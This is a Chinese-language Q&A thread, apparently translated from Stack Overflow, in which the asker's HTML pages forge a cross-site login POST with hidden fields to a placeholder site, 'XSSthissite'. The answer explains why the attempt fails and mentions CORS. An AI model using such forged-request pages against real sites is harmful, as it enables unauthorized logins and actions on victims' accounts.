XSS Ajax,辅助表单无法正确发布

时间:2018-11-06 23:57:37

标签: javascript forms post xss

在此定制html页面上单击按钮后,我试图将代码注入第二个页面(XSSthissite)。我可以通过具有使用Ajax调用表单的javascript函数来重定向到第二页。从技术上讲,检查开发人员工具后,似乎可以通过POST,但是实际上无法登录/重定向,并且未填充字段。具体来说,我看到的是200 POST,而不是如果在该页面上手动提交数据时会收到的302 POST重定向。知道为什么吗?

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>Having Fun on a Tuesday</title>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>

    <form action="" method="POST" id="second">
      <input type="hidden" name="aufnausindulasdnf" value="aufnausindulasdnf"/>
      <input type="hidden" name="treasure" value="urghrugh?"/>
      <input type="hidden" name="login" value="testing" />
      <input type="hidden" name="password"/>
      <input type="hidden" name="action" value="entryway" />
    </form>

    <script>
    function submitFormAjax() {
      window.location.assign("http://XSSthissite");
      $("#second").submit(function(e) {
          e.preventDefault();
          $.ajax({
            url: 'http://XSSthissite',
            type: "POST",
            // data: $(this).serialize(),
          });
        });
        $("#second").trigger('submit');
      }
    </script>

  </head>
  <body>
    <form onsubmit="" method="POST" action="" >
      <input id="login_target" value="username"/>
      <button type="button" id="unique" onclick="submitFormAjax()">MESSAGE</button>
    </form>

  </body>
</html>

已删除位置和Ajax的更新代码。仍然发布-并填充所有字段,但拒绝提交!

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>Having Fun on a Wednesday</title>       
  </head>
  <body>
      <input id="login_target" value="username"/>
      <button type="button" id="unique" onclick="submitForm()">MESSAGE</button>

    <form action="http://XSSthissite" method="POST" id="second">
      <input type="hidden" name="aufnausindulasdnf" value="aufnausindulasdnf"/>
      <input type="hidden" name="treasure" value="urghrugh?"/>
      <input type="hidden" name="login" value="testing" />
      <input type="hidden" name="password"/>
      <input type="hidden" name="action" value="entryway" />
    </form>

    <script>
    function submitForm() {
         document.getElementById("second").submit()
    }
    </script>
  </body>
</html>

1 个答案:

答案 0 :(得分:1)

在您的SubmitFormAjax上,您有以下一行:

window.location.assign("http://XSSthissite");

该行将您网站的当前URL更改为“ http://XSSthissite”(http 200),从而绕过了将提交功能绑定到第二个按钮的操作。

请尝试在不更改当前URL的情况下发送信息,但是请记住,如果“ http://XSSthissite”未启用CORS,则您无法从其他来源进行POST,这是由浏览器的安全性造成的

PS:您的第二个表单位于“ head”标签上方,将表单放在正文中是HTML上的一种很好的做法。也是“脚本”部分。 请参阅:Why scripts at the end of body tag